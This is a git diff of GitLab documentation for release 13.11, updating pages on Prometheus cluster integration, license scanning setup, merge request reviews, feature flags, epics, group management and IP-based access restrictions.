+# You should substitute the tag that corresponds to the GitLab version in the url
+# - https://gitlab.com/gitlab-org/gitlab/-/raw/<tag>/vendor/prometheus/values.yaml
+#
+wget https://gitlab.com/gitlab-org/gitlab/-/raw/v13.9.0-ee/vendor/prometheus/values.yaml
+
+# Add the Prometheus community helm repo
+helm repo add prometheus-community https://prometheus-community.github.io/helm-charts
+
+# Install Prometheus
+helm install prometheus prometheus-community/prometheus -n gitlab-managed-apps --values values.yaml
+```
+
+Alternatively, you can use your preferred installation method to install
+Prometheus as long as you meet the requirements above.
+
+### Enable Prometheus integration for your cluster
+
+To enable the Prometheus integration for your cluster:
+
+1. Go to the cluster's page:
+ - For a [project-level cluster](../project/clusters/index.md), navigate to your project's
+ **Operations > Kubernetes**.
+ - For a [group-level cluster](../group/clusters/index.md), navigate to your group's
+ **Kubernetes** page.
+1. Select the **Integrations** tab.
+1. Check the **Enable Prometheus integration** checkbox.
+1. Click **Save changes**.
+1. Go to the **Health** tab to see your cluster's metrics.
diff --git a/doc/user/compliance/compliance_dashboard/img/compliance_dashboard_v13_11.png b/doc/user/compliance/compliance_dashboard/img/compliance_dashboard_v13_11.png
new file mode 100644
index 00000000000..95e176b71b8
--- /dev/null
+++ b/doc/user/compliance/compliance_dashboard/img/compliance_dashboard_v13_11.png
Binary files differ
diff --git a/doc/user/compliance/compliance_dashboard/img/compliance_dashboard_v13_6.png b/doc/user/compliance/compliance_dashboard/img/compliance_dashboard_v13_6.png
deleted file mode 100644
index b2ac4f95e0d..00000000000
--- a/doc/user/compliance/compliance_dashboard/img/compliance_dashboard_v13_6.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/compliance/compliance_dashboard/index.md b/doc/user/compliance/compliance_dashboard/index.md
index f1dfc431f25..8f620fe41bb 100644
--- a/doc/user/compliance/compliance_dashboard/index.md
+++ b/doc/user/compliance/compliance_dashboard/index.md
@@ -17,7 +17,7 @@ for merging into production.
To access the Compliance Dashboard for a group, navigate to **{shield}** **Security & Compliance > Compliance** on the group's menu.
-![Compliance Dashboard](img/compliance_dashboard_v13_6.png)
+![Compliance Dashboard](img/compliance_dashboard_v13_11.png)
NOTE:
The Compliance Dashboard shows only the latest MR on each project.
diff --git a/doc/user/compliance/license_compliance/index.md b/doc/user/compliance/license_compliance/index.md
index 6c734a76059..823a0561beb 100644
--- a/doc/user/compliance/license_compliance/index.md
+++ b/doc/user/compliance/license_compliance/index.md
@@ -115,7 +115,7 @@ the `license_management` job, so you must migrate to the `license_scanning` job
`License-Scanning.gitlab-ci.yml` template.
The results are saved as a
-[License Compliance report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportslicense_scanning)
+[License Compliance report artifact](../../../ci/yaml/README.md#artifactsreportslicense_scanning)
that you can later download and analyze. Due to implementation limitations, we
always take the latest License Compliance artifact available. Behind the scenes, the
[GitLab License Compliance Docker image](https://gitlab.com/gitlab-org/security-products/analyzers/license-finder)
@@ -157,7 +157,7 @@ The `license_management` image already embeds many auto-detection scripts, langu
and packages. Nevertheless, it's almost impossible to cover all cases for all projects.
That's why sometimes it's necessary to install extra packages, or to have extra steps
in the project automated setup, like the download and installation of a certificate.
-For that, a `LICENSE_MANAGEMENT_SETUP_CMD` CI/CD variable can be passed to the container,
+For that, a `SETUP_CMD` CI/CD variable can be passed to the container,
with the required commands to run before the license detection.
If present, this variable overrides the setup step necessary to install all the packages
@@ -171,7 +171,7 @@ include:
- template: Security/License-Scanning.gitlab-ci.yml
variables:
- LICENSE_MANAGEMENT_SETUP_CMD: sh my-custom-install-script.sh
+ SETUP_CMD: sh my-custom-install-script.sh
```
In this example, `my-custom-install-script.sh` is a shell script at the root
@@ -490,7 +490,7 @@ example:
}
```
-If credentials are required to authenticate then you can configure a [protected CI/CD variable](../../../ci/variables/README.md#protect-a-custom-variable)
+If credentials are required to authenticate then you can configure a [protected CI/CD variable](../../../ci/variables/README.md#protect-a-cicd-variable)
following the naming convention described in the [`CONAN_LOGIN_USERNAME` documentation](https://docs.conan.io/en/latest/reference/env_vars.html#conan-login-username-conan-login-username-remote-name).
#### Custom root certificates for Conan
@@ -759,6 +759,29 @@ An approval is optional when a license report:
## Troubleshooting
+### ASDF_PYTHON_VERSION does not automatically install the version
+
+Defining a non-latest Python version in ASDF_PYTHON_VERSION [doesn't have it automatically installed](https://gitlab.com/gitlab-org/gitlab/-/issues/325604). If your project requires a non-latest version of Python:
+
+1. Define the required version by setting the `ASDF_PYTHON_VERSION` CI/CD variable.
+1. Pass a custom script to the `SETUP_CMD` CI/CD variable to install the required version and dependencies.
+
+For example:
+
+```yaml
+include:
+ - template: Security/License-Scanning.gitlab-ci.yml
+
+license_scanning:
+ SETUP_CMD: ./setup.sh
+ ASDF_PYTHON_VERSION: "3.7.2"
+ before_script:
+ - echo "asdf install python 3.7.2 && pip install -r requirements.txt" > setup.sh
+ - chmod +x setup.sh
+ - apt-get -y update
+ - apt-get -y install build-essential libssl-dev zlib1g-dev libbz2-dev libreadline-dev libsqlite3-dev wget curl llvm libncurses5-dev libncursesw5-dev xz-utils tk-dev libffi-dev liblzma-dev python-openssl git
+```
+
### `ERROR -- : asdf: No preset version installed for command`
This error occurs when the version of the tools used by your project
diff --git a/doc/user/discussions/img/mr_review_new_comment_v13_11.png b/doc/user/discussions/img/mr_review_new_comment_v13_11.png
new file mode 100644
index 00000000000..6b4899bf67f
--- /dev/null
+++ b/doc/user/discussions/img/mr_review_new_comment_v13_11.png
Binary files differ
diff --git a/doc/user/discussions/img/review_preview.png b/doc/user/discussions/img/review_preview.png
deleted file mode 100644
index e69a58dbb91..00000000000
--- a/doc/user/discussions/img/review_preview.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/discussions/img/review_preview_v13_11.png b/doc/user/discussions/img/review_preview_v13_11.png
new file mode 100644
index 00000000000..79e33aa0991
--- /dev/null
+++ b/doc/user/discussions/img/review_preview_v13_11.png
Binary files differ
diff --git a/doc/user/discussions/index.md b/doc/user/discussions/index.md
index 0ac79a011ca..aa49f9468be 100644
--- a/doc/user/discussions/index.md
+++ b/doc/user/discussions/index.md
@@ -119,7 +119,7 @@ the unresolved threads.
![Issue mentioning threads in a merge request](img/preview_issue_for_threads.png)
-Hitting **Submit issue** causes all threads to be marked as resolved and
+Hitting **Create issue** causes all threads to be marked as resolved and
add a note referring to the newly created issue.
![Mark threads as resolved notice](img/resolve_thread_issue_notice.png)
@@ -269,10 +269,10 @@ Additionally, locked issues and merge requests can't be reopened.
## Confidential Comments
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207473) in GitLab 13.9.
-> - It's [deployed behind a feature flag](../feature_flags.md), disabled by default.
-> - It's disabled on GitLab.com.
-> - It's not recommended for production use.
-> - To use it in GitLab self-managed instances, ask a GitLab administrator to enable it. **(FREE SELF)**
+> - [Deployed behind a feature flag](../feature_flags.md), disabled by default.
+> - Disabled on GitLab.com.
+> - Not recommended for production use.
+> - To use in GitLab self-managed instances, ask a GitLab administrator to enable it. **(FREE SELF)**
WARNING:
This feature might not be available to you. Check the **version history** note above for details.
@@ -285,7 +285,7 @@ To create a confidential comment, select the **Make this comment confidential**
## Merge request reviews
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/4213) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.4.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/4213) in GitLab Premium 11.4.
> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/28154) to GitLab Free in 13.1.
When looking at a merge request diff, you are able to start a review.
@@ -334,22 +334,28 @@ comment itself.
![Unresolve status](img/mr_review_unresolve.png)
+### Adding a new comment
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/8225) in GitLab 13.10.
+
+If you have a review in progress, you will be presented with the option to **Add to review**:
+
+![New thread](img/mr_review_new_comment_v13_11.png)
+
### Submitting a review
If you have any comments that have not been submitted, a bar displays at the
bottom of the screen with two buttons:
-- **Discard**: Discards all comments that have not been submitted.
-- **Finish review**: Opens a list of comments ready to be submitted for review.
- Clicking **Submit review** publishes all comments. Any quick actions
- submitted are performed at this time.
+- **Pending comments**: Opens a list of comments ready to be submitted for review.
+- **Submit review**: Publishes all comments. Any quick actions submitted are performed at this time.
Alternatively, to finish the entire review from a pending comment:
-- Click the **Finish review** button on the comment.
+- Click the **Submit review** button on the comment.
- Use the `/submit_review` [quick action](../project/quick_actions.md) in the text of non-review comment.
-![Review submission](img/review_preview.png)
+![Review submission](img/review_preview_v13_11.png)
Submitting the review sends a single email to every notifiable user of the
merge request with all the comments associated to it.
@@ -486,11 +492,9 @@ introduced by [#25381](https://gitlab.com/gitlab-org/gitlab/-/issues/25381).
### Batch Suggestions
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/25486) in GitLab 13.1 as an [alpha feature](https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha).
-> - It was deployed behind a feature flag, disabled by default.
-> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/227799) on GitLab 13.2.
-> - It's enabled on GitLab.com.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-batch-suggestions).
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/25486) in GitLab 13.1 as an [alpha feature](https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha) behind a feature flag, disabled by default.
+> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/227799) in GitLab 13.2.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/320755) in GitLab 13.11.
You can apply multiple suggestions at once to reduce the number of commits added
to your branch to address your reviewers' requests.
@@ -540,7 +544,7 @@ You can assign an issue to a user who made a comment.
In the comment, click the **More Actions** menu and click **Assign to commenting user**.
-Click the button again to unassign the commenter.
+ Click the button again to unassign the commenter.
![Assign to commenting user](img/quickly_assign_commenter_v13_1.png)
@@ -562,24 +566,3 @@ To disable it:
```ruby
Feature.disable(:confidential_notes)
```
-
-## Enable or disable Batch Suggestions **(FREE SELF)**
-
-Batch Suggestions is
-deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
-can opt to disable it for your instance.
-
-To enable it:
-
-```ruby
-# Instance-wide
-Feature.enable(:batch_suggestions)
-```
-
-To disable it:
-
-```ruby
-# Instance-wide
-Feature.disable(:batch_suggestions)
-```
diff --git a/doc/user/feature_flags.md b/doc/user/feature_flags.md
index a6be4c69f81..5be28de4101 100644
--- a/doc/user/feature_flags.md
+++ b/doc/user/feature_flags.md
@@ -18,9 +18,9 @@ may be unavailable to you.
In this case, you'll see a warning like this in the feature documentation:
-WARNING:
-This feature might not be available to you. Review the **version history** note
-on this page for details.
+This in-development feature might not be available for your use. There can be
+[risks when enabling features still in development](#risks-when-enabling-features-still-in-development).
+Refer to this feature's version history for more details.
In the version history note, you'll find information on the state of the
feature flag, including whether the feature is on ("enabled by default") or
@@ -41,3 +41,17 @@ although changing a feature's default state isn't recommended.
If you're a GitLab.com user and the feature is disabled, be aware that GitLab may
be working on the feature for potential release in the future.
+
+## Risks when enabling features still in development
+
+Features that are disabled by default may change or be removed without notice in a future version of GitLab.
+
+Data corruption, stability degradation, or performance degradation might occur if
+you enable a feature that's disabled by default. Problems caused by using a default
+disabled feature aren't covered by GitLab support, unless you were directed by GitLab
+to enable the feature.
+
+## Risks when disabling released features
+
+In most cases, the feature flag code is removed in a future version of GitLab.
+If and when that occurs, from that point onward you can't keep the feature in a disabled state.
diff --git a/doc/user/gitlab_com/index.md b/doc/user/gitlab_com/index.md
index c61e49993e6..6e38534b044 100644
--- a/doc/user/gitlab_com/index.md
+++ b/doc/user/gitlab_com/index.md
@@ -50,7 +50,7 @@ Projects can be backed up in their entirety by exporting them either [through th
With exports, be sure to take note of [what is and is not](../project/settings/import_export.md#exported-contents), included in a project export.
-Since GitLab is built on Git, you can back up **just** the repository of a project by [cloning](../../gitlab-basics/start-using-git.md#clone-a-repository) it to another machine. Similarly, if you need to back up just the wiki of a repository it can also be cloned and all files uploaded to that wiki are included [if they were uploaded after 2020-08-22](../project/wiki/index.md#creating-a-new-wiki-page).
+Since GitLab is built on Git, you can back up **just** the repository of a project by [cloning](../../gitlab-basics/start-using-git.md#clone-a-repository) it to another machine. Similarly, if you need to back up just the wiki of a repository it can also be cloned and all files uploaded to that wiki are included [if they were uploaded after 2020-08-22](../project/wiki/index.md#create-a-new-wiki-page).
## Alternative SSH port
@@ -113,7 +113,7 @@ or over the repository size limit, you can [reduce your repository size with Git
| Setting | GitLab.com | Default |
| ----------- | ----------- | ------------- |
-| [Repository size including LFS](../admin_area/settings/account_and_limit_settings.md) | 10 GB | Unlimited |
+| [Repository size including LFS](../admin_area/settings/account_and_limit_settings.md#repository-size-limit) | 10 GB | Unlimited |
| Maximum import size | 5 GB | Unlimited ([Modified](https://gitlab.com/gitlab-org/gitlab/-/issues/251106) from 50MB to unlimited in GitLab 13.8. |
NOTE:
@@ -121,7 +121,7 @@ NOTE:
## IP range
-GitLab.com is using the IP range `34.74.90.64/28` for traffic from its Web/API
+GitLab.com uses the IP ranges `34.74.90.64/28` and `34.74.226.0/24` for traffic from its Web/API
fleet. This whole range is solely allocated to GitLab. You can expect connections from webhooks or repository mirroring to come
from those IPs and allow them.
@@ -205,7 +205,7 @@ can be used for:
- Downloading assets from a CDN
- Any other commands that must run before the `git init`
-To use this feature, define a [CI/CD variable](../../ci/variables/README.md#create-a-custom-variable-in-the-ui) called
+To use this feature, define a [CI/CD variable](../../ci/variables/README.md#custom-cicd-variables) called
`CI_PRE_CLONE_SCRIPT` that contains a bash script.
[This example](../../development/pipelines.md#pre-clone-step)
diff --git a/doc/user/group/bulk_editing/index.md b/doc/user/group/bulk_editing/index.md
index 651bb7c055e..aa356bee8e3 100644
--- a/doc/user/group/bulk_editing/index.md
+++ b/doc/user/group/bulk_editing/index.md
@@ -31,7 +31,7 @@ When bulk editing issues in a group, you can edit the following attributes:
- [Epic](../epics/index.md)
- [Milestone](../../project/milestones/index.md)
- [Labels](../../project/labels.md)
-- [Health status](../../project/issues/index.md#health-status)
+- [Health status](../../project/issues/managing_issues.md#health-status)
- [Iteration](../iterations/index.md)
To update multiple project issues at the same time:
diff --git a/doc/user/group/clusters/index.md b/doc/user/group/clusters/index.md
index d9167388e66..87b259df9d8 100644
--- a/doc/user/group/clusters/index.md
+++ b/doc/user/group/clusters/index.md
@@ -86,7 +86,7 @@ your cluster, which can cause deployment jobs to fail.
To clear the cache:
-1. Navigate to your group’s **Kubernetes** page,
+1. Navigate to your group's **Kubernetes** page,
and select your cluster.
1. Expand the **Advanced settings** section.
1. Click **Clear cluster cache**.
@@ -107,7 +107,7 @@ The domain should have a wildcard DNS configured to the Ingress IP address.
When adding more than one Kubernetes cluster to your project, you need to differentiate
them with an environment scope. The environment scope associates clusters with
[environments](../../../ci/environments/index.md) similar to how the
-[environment-specific variables](../../../ci/variables/README.md#limit-the-environment-scopes-of-cicd-variables)
+[environment-specific CI/CD variables](../../../ci/variables/README.md#limit-the-environment-scope-of-a-cicd-variable)
work.
While evaluating which environment matches the environment scope of a
diff --git a/doc/user/group/custom_project_templates.md b/doc/user/group/custom_project_templates.md
index 813d2b8e265..016bda329b2 100644
--- a/doc/user/group/custom_project_templates.md
+++ b/doc/user/group/custom_project_templates.md
@@ -62,7 +62,7 @@ GitLab administrators can
Within this section, you can configure the group where all the custom project
templates are sourced. Every project _template_ directly under the group namespace is
-available to every signed-in user, if all enabled [project features](../project/settings/index.md#sharing-and-permissions) are set to **Everyone With Access**.
+available to every signed-in user, if all enabled [project features](../project/settings/index.md#sharing-and-permissions) except for GitLab Pages are set to **Everyone With Access**.
However, private projects will be available only if the user is a member of the project.
diff --git a/doc/user/group/devops_adoption/img/group_devops_adoption_v13_11.png b/doc/user/group/devops_adoption/img/group_devops_adoption_v13_11.png
new file mode 100644
index 00000000000..a6ece47ba9a
--- /dev/null
+++ b/doc/user/group/devops_adoption/img/group_devops_adoption_v13_11.png
Binary files differ
diff --git a/doc/user/group/devops_adoption/index.md b/doc/user/group/devops_adoption/index.md
new file mode 100644
index 00000000000..920421ef9bb
--- /dev/null
+++ b/doc/user/group/devops_adoption/index.md
@@ -0,0 +1,60 @@
+---
+stage: Manage
+group: Optimize
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Group DevOps Adoption **(ULTIMATE)**
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/321083) in GitLab 13.11.
+> - [Deployed behind a feature flag](../../../user/feature_flags.md), disabled by default.
+> - Disabled on GitLab.com.
+> - Not recommended for production use.
+> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-group-devops-adoption).
+
+WARNING:
+This feature might not be available to you. Check the **version history** note above for details.
+
+[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/321083) in GitLab 13.11 as a [Beta feature](https://about.gitlab.com/handbook/product/gitlab-the-product/#beta).
+
+To access Group DevOps Adoption, navigate to your group sidebar and select **Analytics > DevOps Adoption**
+
+Group DevOps Adoption shows you how individual groups and sub-groups within your organization use the following features:
+
+- Issues
+- Merge Requests
+- Approvals
+- Runners
+- Pipelines
+- Deployments
+- Scans
+
+When managing groups in the UI, you can manage your sub-groups with the **Add/Remove sub-groups**
+button, in the top right hand section of your Groups pages.
+
+DevOps Adoption allows you to:
+
+- Verify whether you are getting the return on investment that you expected from GitLab.
+- Identify specific sub-groups that are lagging in their adoption of GitLab so you can help them along in their DevOps journey.
+- Find the sub-groups that have adopted certain features and can provide guidance to other sub-groups on how to use those features.
+
+![DevOps Report](img/group_devops_adoption_v13_11.png)
+
+## Enable or disable Group DevOps Adoption **(ULTIMATE)**
+
+Group DevOps Adoption is under development and not ready for production use. It is
+deployed behind a feature flag that is **disabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
+can enable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:group_devops_adoption)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:group_devops_adoption)
+```
diff --git a/doc/user/group/epics/img/epic_board_v13_10.png b/doc/user/group/epics/img/epic_board_v13_10.png
index 5148e6dd4ec..5a14d9288d3 100644
--- a/doc/user/group/epics/img/epic_board_v13_10.png
+++ b/doc/user/group/epics/img/epic_board_v13_10.png
Binary files differ
diff --git a/doc/user/group/epics/img/epics_search.png b/doc/user/group/epics/img/epics_search.png
deleted file mode 100644
index 96335527468..00000000000
--- a/doc/user/group/epics/img/epics_search.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/group/epics/img/epics_search_v13_11.png b/doc/user/group/epics/img/epics_search_v13_11.png
new file mode 100644
index 00000000000..c11aca96a99
--- /dev/null
+++ b/doc/user/group/epics/img/epics_search_v13_11.png
Binary files differ
diff --git a/doc/user/group/epics/index.md b/doc/user/group/epics/index.md
index 1cb024ceb01..12377b3926d 100644
--- a/doc/user/group/epics/index.md
+++ b/doc/user/group/epics/index.md
@@ -81,7 +81,7 @@ to:
> - The health status of a closed issue [is hidden](https://gitlab.com/gitlab-org/gitlab/-/issues/220867) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.3 or later.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/213567) in GitLab 13.7.
-Report or respond to the health of issues and epics by setting a red, amber, or green [health status](../../project/issues/index.md#health-status), which then appears on your Epic tree.
+Report or respond to the health of issues and epics by setting a red, amber, or green [health status](../../project/issues/managing_issues.md#health-status), which then appears on your Epic tree.
## Multi-level child epics **(ULTIMATE)**
diff --git a/doc/user/group/epics/manage_epics.md b/doc/user/group/epics/manage_epics.md
index 3c5e140965a..1999e5ba214 100644
--- a/doc/user/group/epics/manage_epics.md
+++ b/doc/user/group/epics/manage_epics.md
@@ -110,15 +110,17 @@ link in the issue sidebar.
> - Introduced in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.5.
> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/37081) to the [Premium](https://about.gitlab.com/pricing/) tier in GitLab 12.8.
+> - Searching by the user's reaction emoji [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/325630) in GitLab 13.11.
You can search for an epic from the list of epics using filtered search bar (similar to
-that of Issues and Merge Requests) based on following parameters:
+that of issues and merge requests) based on following parameters:
- Title or description
- Author name / username
- Labels
+- Reaction emoji
-![epics search](img/epics_search.png)
+![epics search](img/epics_search_v13_11.png)
To search, go to the list of epics and select the field **Search or filter results**.
It displays a dropdown menu, from which you can add an author. You can also enter plain
@@ -321,3 +323,36 @@ To remove a child epic from a parent epic:
1. Select the <kbd>x</kbd> button in the parent epic's list of epics.
1. Select **Remove** in the **Remove epic** warning message.
+
+## Cached epic count
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/299540) in GitLab 13.11.
+> - It's [deployed behind a feature flag](../../feature_flags.md), enabled by default.
+> - It's enabled on GitLab.com.
+> - It's recommended for production use.
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-cached-epic-count).
+
+WARNING:
+This feature might not be available to you. Check the **version history** note above for details.
+
+In a group, the sidebar displays the total count of open epics and this value is cached if higher
+than 1000. The cached value is rounded to thousands (or millions) and updated every 24 hours.
+
+### Enable or disable cached epic count **(PREMIUM SELF)**
+
+Cached epic count in the left sidebar is under development but ready for production use. It is
+deployed behind a feature flag that is **enabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
+can disable it.
+
+To disable it:
+
+```ruby
+Feature.disable(:cached_sidebar_open_epics_count)
+```
+
+To enable it:
+
+```ruby
+Feature.enable(:cached_sidebar_open_epics_count)
+```
diff --git a/doc/user/group/import/index.md b/doc/user/group/import/index.md
index 302f12273cb..e84e35607e3 100644
--- a/doc/user/group/import/index.md
+++ b/doc/user/group/import/index.md
@@ -57,6 +57,7 @@ The following resources are migrated to the target instance:
- due date
- created at
- updated at
+ - iid ([Introduced in 13.11](https://gitlab.com/gitlab-org/gitlab/-/issues/326157))
- Iterations ([Introduced in 13.10](https://gitlab.com/gitlab-org/gitlab/-/issues/292428))
- iid
- title
@@ -66,6 +67,10 @@ The following resources are migrated to the target instance:
- due date
- created at
- updated at
+- Badges ([Introduced in 13.11](https://gitlab.com/gitlab-org/gitlab/-/issues/292431))
+ - name
+ - link URL
+ - image URL
Any other items are **not** migrated.
diff --git a/doc/user/group/index.md b/doc/user/group/index.md
index 36d292f670d..d070277beed 100644
--- a/doc/user/group/index.md
+++ b/doc/user/group/index.md
@@ -7,21 +7,17 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Groups **(FREE)**
-In GitLab, you can put related projects together in a group.
+In GitLab, you use groups to manage one or more related projects at the same time.
-For example, you might create a group for your company members and a subgroup for each individual team.
-You can name the group `company-team`, and the subgroups `backend-team`, `frontend-team`, and `production-team`.
+You can use groups to manage permissions for your projects. If someone has access to
+the group, they get access to all the projects in the group.
-Then you can:
+You can also view all of the issues and merge requests for the projects in the group,
+and view analytics that show the group's activity.
-- Grant members access to multiple projects at once.
-- Add to-do items for all of the group members at once.
-- View the [issues](../project/issues/index.md#issues-list) and
- [merge requests](../project/merge_requests/reviewing_and_managing_merge_requests.md#view-merge-requests-for-all-projects-in-a-group)
- for all projects in the group, together in a single list view.
-- [Bulk edit](../group/bulk_editing/index.md) issues, epics, and merge requests.
+You can use groups to communicate with all of the members of the group at once.
-You can also create [subgroups](subgroups/index.md).
+For larger organizations, you can also create [subgroups](subgroups/index.md).
## View groups
@@ -140,7 +136,7 @@ To remove a member from a group:
1. From the left menu, select **Members**.
1. Next to the member you want to remove, select **Delete**.
1. Optional. On the **Remove member** confirmation box, select the
- **Also unassign this user from related issues and merge requests** checkbox.
+ **Also unassign this user from linked issues and merge requests** checkbox.
1. Select **Remove member**.
## Filter and sort members in a group
@@ -261,6 +257,9 @@ To view the activity feed in Atom format, select the
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18328) in GitLab 12.7.
+NOTE:
+In GitLab 13.11, you can [replace this form with a modal window](#share-a-group-modal-window).
+
Similar to how you [share a project with a group](../project/members/share_project_with_groups.md),
you can share a group with another group. Members get direct access
to the shared group. This is not valid for inherited members.
@@ -277,6 +276,27 @@ To share a given group, for example, `Frontend` with another group, for example,
All the members of the `Engineering` group are added to the `Frontend` group.
+### Share a group modal window
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/247208) in GitLab 13.11.
+> - [Deployed behind a feature flag](../feature_flags.md), disabled by default.
+> - Enabled on GitLab.com.
+> - Recommended for production use.
+> - Replaces the existing form with buttons to open a modal window.
+> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](../project/members/index.md#enable-or-disable-modal-window). **(FREE SELF)**
+
+WARNING:
+This feature might not be available to you. Check the **version history** note above for details.
+
+In GitLab 13.11, you can optionally replace the sharing form with a modal window.
+To share a group after enabling this feature:
+
+1. Go to your group's page.
+1. In the left sidebar, go to **Members**, and then select **Invite a group**.
+1. Select a group, and select a **Max access level**.
+1. (Optional) Select an **Access expiration date**.
+1. Select **Invite**.
+
## Manage group memberships via LDAP **(PREMIUM SELF)**
Group syncing allows LDAP groups to be mapped to GitLab groups. This provides more control over per-group user management. To configure group syncing, edit the `group_base` **DN** (`'OU=Global Groups,OU=GitLab INT,DC=GitLab,DC=org'`). This **OU** contains all groups that will be associated with GitLab groups.
@@ -322,25 +342,6 @@ LDAP user permissions can be manually overridden by an administrator. To overrid
Now you can edit the user's permissions from the **Members** page.
-## Group wikis **(PREMIUM)**
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13195) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.5.
-
-Group wikis work the same way as [project wikis](../project/wiki/index.md).
-
-Group wikis can be edited by members with [Developer permissions](../../user/permissions.md#group-members-permissions)
-and above.
-
-You can move group wiki repositories by using the [Group repository storage moves API](../../api/group_repository_storage_moves.md).
-
-There are a few limitations compared to project wikis:
-
-- Git LFS is not supported.
-- Group wikis are not included in global search.
-- Changes to group wikis don't show up in the group's activity feed.
-
-For updates, follow [the epic that tracks feature parity with project wikis](https://gitlab.com/groups/gitlab-org/-/epics/2782).
-
## Transfer a group
You can transfer groups in the following ways:
@@ -387,16 +388,10 @@ because the project cannot be moved.
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/43290) in GitLab 13.6.
-By default, when you create a new project in GitLab, the initial branch is called `master`.
-For groups, a group owner can customize the initial branch name to something
-else. This way, every new project created under that group from then on starts from the custom branch name rather than `master`.
-
-To use a custom name for the initial branch:
-
-1. Go to the group's **Settings > Repository** page.
-1. Expand the **Default initial branch name** section.
-1. Change the default initial branch to a custom name of your choice.
-1. Select **Save changes**.
+When you create a new project in GitLab, a default branch is created with the
+first push. The group owner can
+[customize the initial branch](../project/repository/branches/default.md#group-level-custom-initial-branch-name)
+for the group's projects to meet your group's needs.
## Remove a group
@@ -434,7 +429,7 @@ To prevent a project from being shared with other groups:
1. Go to the group's **Settings > General** page.
1. Expand the **Permissions, LFS, 2FA** section.
-1. Select **Prevent sharing a project within <group_name> with other groups**.
+1. Select **Prevent sharing a project within `<group_name>` with other groups**.
1. Select **Save changes**.
## Prevent members from being added to a group **(PREMIUM)**
@@ -460,33 +455,36 @@ API requests to add a new user to a project are not possible.
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/1985) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.0.
> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/215410) to [GitLab Premium](https://about.gitlab.com/pricing/) in 13.1.
-NOTE:
-IP access restrictions are not functioning as expected on GitLab.com. If enabled,
-users cannot perform Git operations through SSH, or access projects in the UI.
-For more information, [see this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/271673).
-
To ensure only people from your organization can access particular
-resources, you can restrict access to groups by IP address. This setting applies to all subgroups,
-projects, issues, and so on.
-
-IP access restrictions can be configured at the group level only.
+resources, you can restrict access to groups by IP address. This group-level setting
+applies to:
-This restriction applies to:
-
-- The GitLab UI.
+- The GitLab UI, including subgroups, projects, and issues.
- [In GitLab 12.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/12874), the API.
-- [In GitLab 12.4 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/32113), Git actions via SSH.
-Administrators and group owners are able to access the group regardless of the IP restriction.
+You should consider these security implications before configuring IP address restrictions:
+
+- **SSH requests**: While you can restrict HTTP traffic on GitLab.com with IP address restrictions,
+ they cause SSH requests, including Git operations over SSH, to fail. For more information,
+ read [issue 271673](https://gitlab.com/gitlab-org/gitlab/-/issues/271673).
+- **Administrators and group owners**: Users with these permission levels can always
+ access the group settings, regardless of IP restriction, but they cannot access projects
+ belonging to the group when accessing from a disallowed IP address.
+- **GitLab API and runner activities**: Only the [Groups](../../api/groups.md)
+ and [Projects](../../api/projects.md) APIs are protected by IP address restrictions.
+ When you register a runner, it is not bound by the IP restrictions. When the runner
+ requests a new job or an update to a job's state, it is also not bound by
+ the IP restrictions. But when the running CI/CD job sends Git requests from a
+ restricted IP address, the IP restriction prevents code from being cloned.
To restrict group access by IP address:
-1. Go to the group’s **Settings > General** page.
+1. Go to the group's **Settings > General** page.
1. Expand the **Permissions, LFS, 2FA** section.
1. In the **Allow access to the following IP addresses** field, enter IP address ranges in CIDR notation.
1. Select **Save changes**.
-![Domain restriction by IP address](img/restrict-by-ip.gif)
+ ![Domain restriction by IP address](img/restrict-by-ip.gif)
## Restrict group access by domain **(PREMIUM)**
